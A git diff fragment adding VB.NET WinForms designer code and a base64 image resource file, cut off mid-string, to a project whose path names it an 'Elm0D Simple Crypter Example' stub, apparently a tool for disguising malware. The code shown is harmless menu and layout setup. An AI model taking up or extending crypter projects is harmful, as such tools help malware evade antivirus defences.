+ ' + 'ContentsToolStripMenuItem + ' + Me.ContentsToolStripMenuItem.Name = "ContentsToolStripMenuItem" + Me.ContentsToolStripMenuItem.ShortcutKeys = CType((System.Windows.Forms.Keys.Control Or System.Windows.Forms.Keys.F1), System.Windows.Forms.Keys) + Me.ContentsToolStripMenuItem.Size = New System.Drawing.Size(162, 22) + Me.ContentsToolStripMenuItem.Text = "&Contents" + ' + 'IndexToolStripMenuItem + ' + Me.IndexToolStripMenuItem.Image = CType(resources.GetObject("IndexToolStripMenuItem.Image"), System.Drawing.Image) + Me.IndexToolStripMenuItem.ImageTransparentColor = System.Drawing.Color.Black + Me.IndexToolStripMenuItem.Name = "IndexToolStripMenuItem" + Me.IndexToolStripMenuItem.Size = New System.Drawing.Size(162, 22) + Me.IndexToolStripMenuItem.Text = "&Index" + ' + 'SearchToolStripMenuItem + ' + Me.SearchToolStripMenuItem.Image = CType(resources.GetObject("SearchToolStripMenuItem.Image"), System.Drawing.Image) + Me.SearchToolStripMenuItem.ImageTransparentColor = System.Drawing.Color.Black + Me.SearchToolStripMenuItem.Name = "SearchToolStripMenuItem" + Me.SearchToolStripMenuItem.Size = New System.Drawing.Size(162, 22) + Me.SearchToolStripMenuItem.Text = "&Search" + ' + 'ToolStripSeparator6 + ' + Me.ToolStripSeparator6.Name = "ToolStripSeparator6" + Me.ToolStripSeparator6.Size = New System.Drawing.Size(159, 6) + ' + 'AboutToolStripMenuItem + ' + Me.AboutToolStripMenuItem.Name = "AboutToolStripMenuItem" + Me.AboutToolStripMenuItem.Size = New System.Drawing.Size(162, 22) + Me.AboutToolStripMenuItem.Text = "&About ..." + ' + 'ToolStripContainer + ' + ' + 'ToolStripContainer.BottomToolStripPanel + ' + Me.ToolStripContainer.BottomToolStripPanel.Controls.Add(Me.StatusStrip) + ' + 'ToolStripContainer.ContentPanel + ' + Me.ToolStripContainer.ContentPanel.Controls.Add(Me.SplitContainer) + Me.ToolStripContainer.ContentPanel.Size = New System.Drawing.Size(632, 382) + Me.ToolStripContainer.Dock = System.Windows.Forms.DockStyle.Fill + Me.ToolStripContainer.Location = New System.Drawing.Point(0, 0) + Me.ToolStripContainer.Name = "ToolStripContainer" + Me.ToolStripContainer.Size = New System.Drawing.Size(632, 453) + Me.ToolStripContainer.TabIndex = 7 + Me.ToolStripContainer.Text = "ToolStripContainer1" + ' + 'ToolStripContainer.TopToolStripPanel + ' + Me.ToolStripContainer.TopToolStripPanel.Controls.Add(Me.MenuStrip) + Me.ToolStripContainer.TopToolStripPanel.Controls.Add(Me.ToolStrip) + ' + 'SplitContainer + ' + Me.SplitContainer.Dock = System.Windows.Forms.DockStyle.Fill + Me.SplitContainer.Location = New System.Drawing.Point(0, 0) + Me.SplitContainer.Name = "SplitContainer" + ' + 'SplitContainer.Panel1 + ' + Me.SplitContainer.Panel1.Controls.Add(Me.TreeView) + ' + 'SplitContainer.Panel2 + ' + Me.SplitContainer.Panel2.Controls.Add(Me.ListView) + Me.SplitContainer.Size = New System.Drawing.Size(632, 382) + Me.SplitContainer.SplitterDistance = 211 + Me.SplitContainer.TabIndex = 0 + Me.SplitContainer.Text = "SplitContainer1" + ' + 'TreeView + ' + Me.TreeView.Dock = System.Windows.Forms.DockStyle.Fill + Me.TreeView.ImageIndex = 0 + Me.TreeView.ImageList = Me.TreeNodeImageList + Me.TreeView.Location = New System.Drawing.Point(0, 0) + Me.TreeView.Name = "TreeView" + Me.TreeView.SelectedImageIndex = 1 + Me.TreeView.ShowLines = False + Me.TreeView.Size = New System.Drawing.Size(211, 382) + Me.TreeView.TabIndex = 0 + ' + 'ListView + ' + Me.ListView.Dock = System.Windows.Forms.DockStyle.Fill + Me.ListView.LargeImageList = Me.ListViewLargeImageList + Me.ListView.Location = New System.Drawing.Point(0, 0) + Me.ListView.Name = "ListView" + Me.ListView.Size = New System.Drawing.Size(417, 382) + Me.ListView.SmallImageList = Me.ListViewSmallImageList + Me.ListView.TabIndex = 0 + Me.ListView.UseCompatibleStateImageBehavior = False + ' + 'ListViewLargeImageList + ' + Me.ListViewLargeImageList.ImageStream = CType(resources.GetObject("ListViewLargeImageList.ImageStream"), System.Windows.Forms.ImageListStreamer) + Me.ListViewLargeImageList.TransparentColor = System.Drawing.Color.Transparent + Me.ListViewLargeImageList.Images.SetKeyName(0, "Graph1") + Me.ListViewLargeImageList.Images.SetKeyName(1, "Graph2") + Me.ListViewLargeImageList.Images.SetKeyName(2, "Graph3") + ' + 'ListViewSmallImageList + ' + Me.ListViewSmallImageList.ImageStream = CType(resources.GetObject("ListViewSmallImageList.ImageStream"), System.Windows.Forms.ImageListStreamer) + Me.ListViewSmallImageList.TransparentColor = System.Drawing.Color.Transparent + Me.ListViewSmallImageList.Images.SetKeyName(0, "Graph1") + Me.ListViewSmallImageList.Images.SetKeyName(1, "Graph2") + Me.ListViewSmallImageList.Images.SetKeyName(2, "Graph3") + ' + 'Explorer1 + ' + Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) + Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font + Me.ClientSize = New System.Drawing.Size(632, 453) + Me.Controls.Add(Me.ToolStripContainer) + Me.Name = "Explorer1" + Me.Text = "Explorer1" + Me.StatusStrip.ResumeLayout(False) + Me.StatusStrip.PerformLayout() + Me.ToolStrip.ResumeLayout(False) + Me.ToolStrip.PerformLayout() + Me.MenuStrip.ResumeLayout(False) + Me.MenuStrip.PerformLayout() + Me.ToolStripContainer.BottomToolStripPanel.ResumeLayout(False) + Me.ToolStripContainer.BottomToolStripPanel.PerformLayout() + Me.ToolStripContainer.ContentPanel.ResumeLayout(False) + Me.ToolStripContainer.TopToolStripPanel.ResumeLayout(False) + Me.ToolStripContainer.TopToolStripPanel.PerformLayout() + Me.ToolStripContainer.ResumeLayout(False) + Me.ToolStripContainer.PerformLayout() + Me.SplitContainer.Panel1.ResumeLayout(False) + Me.SplitContainer.Panel2.ResumeLayout(False) + Me.SplitContainer.ResumeLayout(False) + Me.ResumeLayout(False) + + End Sub + +End Class diff --git a/scode (Elm0D Simple Crypter Example/Stb/Explorer1.resx b/scode (Elm0D Simple Crypter Example/Stb/Explorer1.resx new file mode 100644 index 0000000..def44ee --- /dev/null +++ b/scode (Elm0D Simple Crypter Example/Stb/Explorer1.resx @@ -0,0 +1,552 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 303, 17 + + + 408, 17 + + + + AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4w + LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 + ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAACo + CAAAAk1TRnQBSQFMAgEBAgEAAQQBAAEEAQABEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + AwABQAMAARADAAEBAQABCAYAAQQYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA + AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5 + AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA + AWYDAAGZAwABzAIAATMDAAIzAgABMwFmAgABMwGZAgABMwHMAgABMwH/AgABZgMAAWYBMwIAAmYCAAFm + AZkCAAFmAcwCAAFmAf8CAAGZAwABmQEzAgABmQFmAgACmQIAAZkBzAIAAZkB/wIAAcwDAAHMATMCAAHM + AWYCAAHMAZkCAALMAgABzAH/AgAB/wFmAgAB/wGZAgAB/wHMAQABMwH/AgAB/wEAATMBAAEzAQABZgEA + ATMBAAGZAQABMwEAAcwBAAEzAQAB/wEAAf8BMwIAAzMBAAIzAWYBAAIzAZkBAAIzAcwBAAIzAf8BAAEz + AWYCAAEzAWYBMwEAATMCZgEAATMBZgGZAQABMwFmAcwBAAEzAWYB/wEAATMBmQIAATMBmQEzAQABMwGZ + AWYBAAEzApkBAAEzAZkBzAEAATMBmQH/AQABMwHMAgABMwHMATMBAAEzAcwBZgEAATMBzAGZAQABMwLM + AQABMwHMAf8BAAEzAf8BMwEAATMB/wFmAQABMwH/AZkBAAEzAf8BzAEAATMC/wEAAWYDAAFmAQABMwEA + AWYBAAFmAQABZgEAAZkBAAFmAQABzAEAAWYBAAH/AQABZgEzAgABZgIzAQABZgEzAWYBAAFmATMBmQEA + AWYBMwHMAQABZgEzAf8BAAJmAgACZgEzAQADZgEAAmYBmQEAAmYBzAEAAWYBmQIAAWYBmQEzAQABZgGZ + AWYBAAFmApkBAAFmAZkBzAEAAWYBmQH/AQABZgHMAgABZgHMATMBAAFmAcwBmQEAAWYCzAEAAWYBzAH/ + AQABZgH/AgABZgH/ATMBAAFmAf8BmQEAAWYB/wHMAQABzAEAAf8BAAH/AQABzAEAApkCAAGZATMBmQEA + AZkBAAGZAQABmQEAAcwBAAGZAwABmQIzAQABmQEAAWYBAAGZATMBzAEAAZkBAAH/AQABmQFmAgABmQFm + ATMBAAGZATMBZgEAAZkBZgGZAQABmQFmAcwBAAGZATMB/wEAApkBMwEAApkBZgEAA5kBAAKZAcwBAAKZ + Af8BAAGZAcwCAAGZAcwBMwEAAWYBzAFmAQABmQHMAZkBAAGZAswBAAGZAcwB/wEAAZkB/wIAAZkB/wEz + AQABmQHMAWYBAAGZAf8BmQEAAZkB/wHMAQABmQL/AQABzAMAAZkBAAEzAQABzAEAAWYBAAHMAQABmQEA + AcwBAAHMAQABmQEzAgABzAIzAQABzAEzAWYBAAHMATMBmQEAAcwBMwHMAQABzAEzAf8BAAHMAWYCAAHM + AWYBMwEAAZkCZgEAAcwBZgGZAQABzAFmAcwBAAGZAWYB/wEAAcwBmQIAAcwBmQEzAQABzAGZAWYBAAHM + ApkBAAHMAZkBzAEAAcwBmQH/AQACzAIAAswBMwEAAswBZgEAAswBmQEAA8wBAALMAf8BAAHMAf8CAAHM + Af8BMwEAAZkB/wFmAQABzAH/AZkBAAHMAf8BzAEAAcwC/wEAAcwBAAEzAQAB/wEAAWYBAAH/AQABmQEA + AcwBMwIAAf8CMwEAAf8BMwFmAQAB/wEzAZkBAAH/ATMBzAEAAf8BMwH/AQAB/wFmAgAB/wFmATMBAAHM + AmYBAAH/AWYBmQEAAf8BZgHMAQABzAFmAf8BAAH/AZkCAAH/AZkBMwEAAf8BmQFmAQAB/wKZAQAB/wGZ + AcwBAAH/AZkB/wEAAf8BzAIAAf8BzAEzAQAB/wHMAWYBAAH/AcwBmQEAAf8CzAEAAf8BzAH/AQAC/wEz + AQABzAH/AWYBAAL/AZkBAAL/AcwBAAJmAf8BAAFmAf8BZgEAAWYC/wEAAf8CZgEAAf8BZgH/AQAC/wFm + AQABIQEAAaUBAANfAQADdwEAA4YBAAOWAQADywEAA7IBAAPXAQAD3QEAA+MBAAPqAQAD8QEAA/gBAAHw + AfsB/wEAAaQCoAEAA4ADAAH/AgAB/wMAAv8BAAH/AwAB/wEAAf8BAAL/AgAD/0MAAfEL8AHxAwAB8Qrw + AfEjAAG8AewLbQHsAbwBAAEHAewK6wHsAQciAAJSAUwKKgETAewB8QwqAW0B7AHxIAABUgF6AVIBoAh6 + AVIBoAEqAW0CUgGgCXoBUgEqAesB8CAAAVIBegFSAaAIegFSAaABKgFtAlIBegGgCHoBWAFLAW0BByAA + AVIBegFSCaABWAGgASoBbQJSAVgIoAGaAVkBUgFtAewgAAFSAXoBUgmgAXoBoAEqAW0BUgFYAVIJoAJ5 + ASoB6yAAAVIBegFSCaABegGgASoBbQFSAXoBUgmgAXoBoAFLAesgAAFSAXoBUgn/AZoB/wEqAewBUgGa + AVIBeQL/AfYF/wGaAf8BSwHsIAABUgGgAZoMUgHxAVIBoAF5DFIBByAAAVIGoAX/ASoB7AHxAQABUgag + Bf8BUgFLAQchAAFSAf8EoAH/BVIBTAHxAgABUgH/BKAB/wZSAfEjAAFSBP8BUgG8CQABUgT/AVIBByoA + BFIB8QsABFIB8WkAAUIBTQE+BwABPgMAASgDAAFAAwABEAMAAQEBAAEBBQABgBcAA/8BAAT/BAABwAEB + AcABAwQAAYABAAGAAQEEAAGAQAABAQEAAQEFAAEDAQABAwQAAYAB/wGAAf8EAAHBAf8BwQH/BAAE/wQA + Cw== + + + + 207, 17 + + + + + iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAABDBJREFUSEvVVX9Q + k3Uc3ssWgw3WeNc2TGDyM8XY4MLKyjSLVBxQhJaAiccyhKV3hbob4Y/h+aM0DalxcHLATgguYTh+jPEr + BJKmkFieaBCW19Vdd52Y9Ud69/h9d439VPD6q+/d9/bevbvned7neT7fL8WaZWmvaDH4xyDr0s1LrOm7 + 0yzqLosVx5ezZNwwVrJ0LSsvNo+aDcPr++zRbAi6BFB+k4zCsQKUXN4J/fhu6C7mQjX4ElZ2REDyBQ9B + BiGKhrV4KBJhtxCZ326A+VcT2m/Uo+HHT1E5/iGOjKmw93wa3h9aCvVZhW2nd0ZBUsVDfL1ibiQCiwD6 + qTJ0/dKE5uuVqL6mQ+n321Aysh6a4ZdngO0E9t/YWhoJtbOQUK0UKiZLYfq5FnUTR1B+ZRcOX8zBbqsS + +86nYvi3FrT9pL8/SRWNFw3LvH+JvFeOLSPZ+HLqc1Rd3Ydj322F7kIGCoeex0Gi/u87t2Bfx8dy70si + PcrzTiBpE8Hww0F8dvkDHBjNgnY4CdsGEjzAGZI91jVeCd7tfxLJRhlondCVRNEpx+avlR4huitnwA1X + iz3A88/Kkdu/GJu+WoQNvTGg93NRPqB3kPg0UNBaU11CnAt4AWnRFqI6hwBn9z2B9T1RSO+JQFwljbSK + FAeBtDEA2wcSZ5R5A79xe9wWsPNuuV5GmlaG01Ol2DOaidTuBVhtCcXTdRLEH5A7CEIbAh8IPpPuAx4M + k5/gVQK+ovNxJDaJwVFTTgR1/52gmtR6mXkenjNLoTDS4KicCWocBMzgeLNo5PduNE2dQCOZamayT00e + A6O6ZuIoTk58DLU1HUs6xIhvoxFZHQhRnlOTfE5QHs1wJ/mLzMFOa4otxLVdMqwidqzsnI8XzMF4tkOK + hHYR5AR8YeujkB73w/Jip4ELr5ThLXOMC8lWUr29F9LBANvX7TvTKDi3GkmWkH/tCEZiuxgKAry4VYhI + UwDCTXwEajgoqtU4MlCb8xF7krYRMNVTkU4z1cvqi8EOopoBtq8/yXNG/xI80yFBAhnOuLYgRLcKEEHA + Q87wIGnkgvO6k//2Y5b+SIh1bdHYTIDf7luIN3uj8UZPJFK6FiCfqGaA7Ut/7ZBN9SJiB6NadoaP4BY/ + iI1c8HexsfFwludxobVo8Nghf6yzRCGDAL/WHY41ljBSvRAsJ9XLGXoFt/65ads555SIMgUSOwIwv8Uf + EgJMNz8Cf5Ilnep2TDhfFBvrsyDScbGqPdQlxKVuITJ2hBE7pARYbPRFYBMb/uUU2ElerHG/idIqlAgq + 9sVTjWLSae8hziN2MKqFzRzwT1PgFs8R3E5WZNRAVCiEpMQPMacELiEyqkXNvgio9wG3hAJHSSE8Qza3 + 28z9a96ryUfEdhl8s33AU7Ph9w7ZKjY4mUTxCgrxm5zOm4e6lP9Pf74HdM3p4IpcYgEAAAAASUVORK5C + YII= + + + + + iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAABElJREFUSEutlWtM + U3cYxntoLVC5HGoKGhyVi5RrC5kb2wQWhzIrOBaolQ020eHA4SVTHDfnFjZZzJybxtoahQ3ZuiViCxZa + hFJabkEcBMZA3EXAxcQs+7Ch+7JlefY/BwqtFsFlb/JPm7T5/d7zvs85h+IsUppbajT/ZuTc/nOK8930 + CIfzD4dDU76cWO9YzhZRGqdUVkotxnD5e/lYGWgzDYlVgn1Dhagaq8CpG+SMFqOgNxUZZhmi9EJ41vLw + WnsOHksi65ZC0imBeuIM2u7ocHlSgy9+qMTp7/fjgwElSvtSsLdTxp7d1hjEXRLB7zwN7Zh2cZGsS4qt + 19Nhu9sCw+2L0P50ApobJTg+lIej/ek40LVuDm6XMJ9phmAITvGgGVQvLJHapJD3bsLVO/WonziL6ptH + 8enIHlR+q0Bxz3o0T6nRd7cRh3sTXUqyTeEQnqRdC8pGyhDaKkbDVDVqfzwG1eghVA3moLxvE/Z3xeOz + 4Tdgr1/ujy8oSdYGIrkm6WEJ3USjYqgA58eP4MRwPt6/noGDPc/OdfoRmb1juZK81SnFLmsUfD/k4+uB + r+Yl6nE1IoxrXC7Rcc51N991KSlilm2LQZ41ErkdEiTUBSCjOn1e8JItHVstTz5yiXaRK8ne7gTssEYg + 27IWivZQyE1B4B2k5gVrdGIozdFz42DmzSx0ocOMx7Em740hzxaPTHMI5G1BSG19Al7v8OYFbrUUm2d7 + lwz4cevW9CiyLNFIuRqIxJaVEL7nDtNw04zE7QLlFLv/Irj39x/Y2bMR6wn8KZMIdBkfpsFZgV8NjUxT + 2IIjapo8i4bJM9CTc2niNK792up0gQw8j8CfMQUg3rgC0mYhfA4vg2lgVpBcn8TeiY6JsX8vtMWy0bMv + sfhaOu4ToL0Y+I6eFKwziiAj4GgS91CDF3jbHZZcbi1B1EWhk6CIZDrfFs1GL6cjHNtIOlzBc7tfQBwB + xzb7YW2TD0II3F/ljpA3xc43m+BjHnZbZhZdQDK9k4Bf74iA0hKGLAI/0LcFTLf2mv7rd2zvep7tOrLJ + l+1afGU5VjZ4QPA2F+U1Jc6C5M8T8XRtwOw4IvGKJZzN9MvmYMhbg1D380knuJLAY0jXYQZvBBN4YKMn + /BvcQV9YBqFigeeR8BiNVF0QlO1hyGwPQVqbGC+STG8g0dvXn8leAdP5tq5kRJCumXEEXREggIBFDXx4 + f8MFL5vC8S+rXD/wNN0qeFZwsUEXiM0EvLF1NZJaVuE5Er0HlxhsWI5VjR4zXet5EGgp8BQUcitfffQ7 + QdOpgkcxFxI1zWY6weT/0BJXk64Z8Ao9H16X3eCpIfCsJcAdX3shR8QQHOJBrPKCRO/jtEQRgfvquCyY + X0hBKKdRfu6BpS7lHappUyGuQsrOVVDAhQdz8rng76LAlVMIVohR9MmexV+TS5EZ+w0w9hlgYk6v4f+B + LkW82H/+BQONFVfyBc9RAAAAAElFTkSuQmCC + + + + + iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAv9JREFUSEvdlGtI + U2EYx9XELmZ0pQtFBhEIGQgRRDeSMLBAo5D8ovVJqAyCSOpLXgKXipqDpGFaH1QEh+6DROmYk222s7Fa + esRDeDKjIymeYEQTjvjved+2eZnOFX6IBj/OOJfn/1z+zxsT89/8xKZDWMyqFeeu2wbZXMBRPDqoshET + op4LrooIE9B+DABoInRECdEOxVUCoX5fRKJKwK3fDsy0BgKz4AFmuug+g57NGhY8V+VcLhyVgKuOCTwN + BfCrhaF5eFsOIIjmLwq982cCT7YCajlxl8Mq8qseCiYT7GqGT3kDqTMVqjcLiu0MxNbksNYtW42zdjMw + +gAYKYDfmwMXzSSsZdSmCW8NR5X00Hw9gNZN7xl5+yK2y1mdBAzepmRzIbcchItVFJzD/Ousfun79E5E + AUdVIuC8QZ24CLlpPwRWkfYwImP2U5A6UiMSapm9Yj1mnTcx/Sodgn4HnDWbAKVwWVhgtis0MGKKUACp + GvCJ9H+aM9RxYc5hNt1aTPfl8+zZsjmqNgLiNY7PkQnZmALv852hofoUKwVhwcxzeApIj2aCryTegPH3 + L+YE+srj4evOgrt+N9SRZtgrNwCOy1C7jkM0ZpCj3v3OEoNEP9EZWEq2mAE8+STAdkmg7E8u3I/eR/GY + NJ3GmL0I6sB92CrWAZZsSIY90PwSfRTc7nlLuNgEZBCoBkrGgE/W4oUClrI4SI3J8E+5oNoz0KdLgL+H + BIzpZEEbWbF4ZdxXSaCKKj4Svt2W0lhywzngm4lb1UotG28/xivCz0YaHl1XQsiBptzDkOl6uIC5JJaf + olLbUQg1iegtWwPRsJcqctPMbkVH/xVuhiW3mQkwWO++j/bCUhoHsTmNsia3yOSOZdCG86D2n4dsOgyh + Lgmel2ejO/wsJMbb87mSjJMXwi9kY6L7BKRmOodqE3lSwrM0fHx9B5PDndEFZyWyD5nXfZZMjLWlQGzY + BXtFAg/IsgxWGtVRvdRLwZZZH2/Bh7ZL+PK2Nvrs/lr1X/3wF+m79aKgrtb1AAAAAElFTkSuQmCC + + + + + iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAYZJREFUSEvdldEq + BHEYxXeu3XgDL+ExeA43yp3EhYdwNU+AsEtDuVJKuTDUFrs11NpdpEUoRMrxP3bP7LfLMLaR2qlfUzP1 + nfOd7/vP5HJ9cQ1NFeGNhZkxOHGAOJjRuVJmha3JWMQbd+4nI3gzlWxxiXx0QYFer+dX4OEFuHkCGo9A + /b4Nu/kfAd8PIWxnA7M1iDf3gtC953sxqTpII8BoCKOxAqe3gEiMKI0AnRPmbgWia0D0PAO6FhQQhw3A + kigQBAGEncHqWoBCCxU9c1uzmA+wsBJg3lG8RMyvOuheRxYmxy6S8lWz6P4FsHfeJllgegQQrW2hgDfs + x1TvAMLiodsisVsHRCoBrqLcWwE6J3RuBbargEglYKOxAnROGIsV2KoA4scZaBX1GdBg7SBtJJsngOWb + c+C7k9zEboue8U7nhAL2+XoEiC8FdPzpWpvCu+JQUTnfqQEbrmihDORLnXwSsANVLCzObeleRwqwOCOR + wPIRsGToEMjyb2Zr9cXv/u+beAdXBGajtLIPWgAAAABJRU5ErkJggg== + + + + 17, 17 + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAQpJREFUOE+t021L + wlAUB3C/VH6H+hr5jSRfiPSiFiEDgwWGRhZm0EoQcQN7QoblWPNp6py6h3/cwWDkvde98MDhvrnndznn + cFOpfYVU7+J/lmoKipUWhGs5TO5bpJgVBfEB6aMMH7m6V5nAiVBB9UnhI+Jtmwlkz27C4iiprVyWm0zA + 9XwQJIKowLn0TAWCIIDtbGCM7BA4ODymD/O09EgF1hsPY8uBplt8IF+sbQGeH2BmrzEwF3jXxnwgd1Hd + ApyVC3OyRO9nis6HyQdIf/Egg5vOV+gbM3R7I7yqenIgPrjP/gTtt180Wt/Jgfjg1K8h5M4Ady9aMiDa + N+tkrjHaMbmwK/f1gUPnD9/19ZYU1J08AAAAAElFTkSuQmCC + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAl9JREFUOE+9k1tI + E2AYhnfRRVcWaVEIRpaEXYiBIdVFSNJJUUqzwkgTylMHDMU2D206dXMnp650mNt0TZ1WlmFYIRSKRGip + o8S0LCgqxcxQydPT3EKTLPCmH96bn+99vvf7fn6B4H+cnGIzEq2Fy3ITeToraUojy+obnawjLF7lMJ0X + lpNlh6VIDUQlFyOoM2tYSo01sr92SUgrITxRRWh8gRPQ22VkYqTWoR/DFqYGDVhNKurN0iUhYQlqQuO0 + BMcWIaitUDM+XLXIPPOphClbElXlcipLczEUZ6EvyOSaUkSRLHUxtNqoYPyLcb7zrN1MrwhssUvqD8CN + MhnfP+odsefMTXUKh+5b82mwyLhdmYvVkI1FL8Gku8J1bTqlahE6hdCZplKfy+i7QuZiv2kRU1+lZuaN + BAaki/XWftefBj3J8DKRzpoILsaEIDDosvnWJ4f3Su5Uq2h7oHQW/T7CiyhoD2e6NYiJhwG8rvDh3Kn9 + TkCZVszXVxIGWjOotyiZ7RdDd5wT0BljNx5nui2EieZ9jDbuZqhuO5J4L04EujmXWaLOYKhLyE2zgo4n + 9iQ9SXbAGeg4yezTw0w+PshY0x6G6/34XO1Ne85qIoM88dvq4gTo8kV0N2dyy5wPfZnw3B732VEmW4IZ + exTASIM/g1YfPhi3YFO6Io7djO8294WnLMxLpdYkx3Y3gXaNYF5tyhU0y1ZyL2sVNelrMaS6c/XSRiIP + bcLf12MBoJGmoBGfJU8YTdqFY47FnI4I5MiBnezd5cMOHy+8Pd3x2ODGujUurHf9FX1Zv+kfxT8BMS7u + X4BvNFkAAAAASUVORK5CYII= + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAilJREFUOE+tk91L + k3EUx/cvdN9N0EW3NTWGa7EaPOUcyqphWBG9PZEv5dJlmqhYmUYtXyBb4dJJy+kknFT4BqZIjaFMJUsz + V7TEoabYRDD49ju/6Pm1Mm/qB+fy8znPOef7qFT/4z17GgWVr30Zbd4lPHYvoLEhgvuOGdTWfIL9dgg3 + yqdQWjKBwoLXyMsdxYXzQSi9CeztAWqqV7HRW1ldgzGtF4fTnvBSBN7WRS6orPjyV57gyMIKdpufQ62W + YTnkEQL3o3kuKC35vK7gJ/w+vIg4kw8Fl6dxwNwkBM76WS64ZHv3h+BXeGQygm2SF9accaSmOIWg7m6Y + C7KzRmMEv8ODwTA2692Q5QBMJocQVFd95AL5TEARrAf3+D9gU2IDjhx9gaSkWiG4WTmN7i6wUwLHT76C + 5dgA3zYtjGamz6bOP+A+HLR0QpLsQnC1bBIdPrAMAE2ub+zuX1F+fY4vlRZGM2dmBBU4ObUdBkOFEFwp + HIenGXjoXGPBicKYnhNT5hM2pJ8r4p2TUxi83wO9vkwIbHljDAaq7kR5ZxJQSOK0EobezmJsag5y7jXs + NbZxWLvHBZ2uSAgolo57UD6bBASfzb+FN6F5hGaWcLHYjni9i8GNiN/1ANrEfCHIzBhmcy/zmbcaPNiy + Q0JLRz98XYPo7vNj4OUQ9pksUOvqkcDg7Zo6aDTWWMHpU/08npQwCgndmU5F26aF0czUlYrgnQnZQvAv + f/R3bGg6a0rM640AAAAASUVORK5CYII= + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAi5JREFUOE+tk+1P + klEYxlkf+39aW1utttpM1NJqwzIjnM5J0TAmBSHLCFNJ7cVaUqNH5gLdQxY4RkxrbDqDzBJdOt0SKLAg + TEDDeLl6nkPgSNz64L1d29nZ7ut3nfucw+HsdBltUxi0f4RpdGZb0SNubMtlDd67ffi3Nn4n4fGvYNA6 + gZJzV8GtvrLVhG1mlUqlEQxH4HB9IhqyO2Ewj8M140WVSE0MCibQW1z4/DWcB2fJq9E4ZheXQduchFyQ + rqXHwSrJ0L2BUB7d6piG0+1BZYMKx87LodG+wL0+62YKRecz0jzinCd0lpolB0IxzC+F0Guwo5Qvg7Kr + H0/oMZQyRuQYTW16qB8OgTK/wyOjA/qXb3GXsuH6HSPELVrwGztQXqNA8VkpTl+4iW6dBRKVFsXZId5+ + +gqRWHzL1NmNRDKF9XiCzOB7eB1fvkUhb6dQJ+1iEsgyCVQPTDC/+YDndhco02vc7xuGumcAsnYdRM09 + EFzuAK+hBccFchSdkeAis1cpvIGDJ0UZA2X3AHz+YMEEkbUNeAKr2A0O0S6KA764DSXVUuw5WpMxaO40 + YHpuCczccsWuf0QTmPOtYWw2TJotfw1O1CpwoEK4aaDUUND00vAG4wjH0vD/TGNxOYWJhV8Ynoyi37FC + yFkd4YlJcy5BvaQVsls6jE76yN3+j/IM2GNIVI9RUadEmeAauMwzLapqwmFeIw6duoT95ULsK6vHXm5t + jpyj78RP/gPgHTGb+rLlcwAAAABJRU5ErkJggg== + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAdVJREFUOE+t099L + U2Ecx3H/GemqiygrwpsIzESJqJzzx4VOnMQkKFToZjcZQf5oDd0SXa0m/sJjnJU5K5eb1oIig8nUiwah + 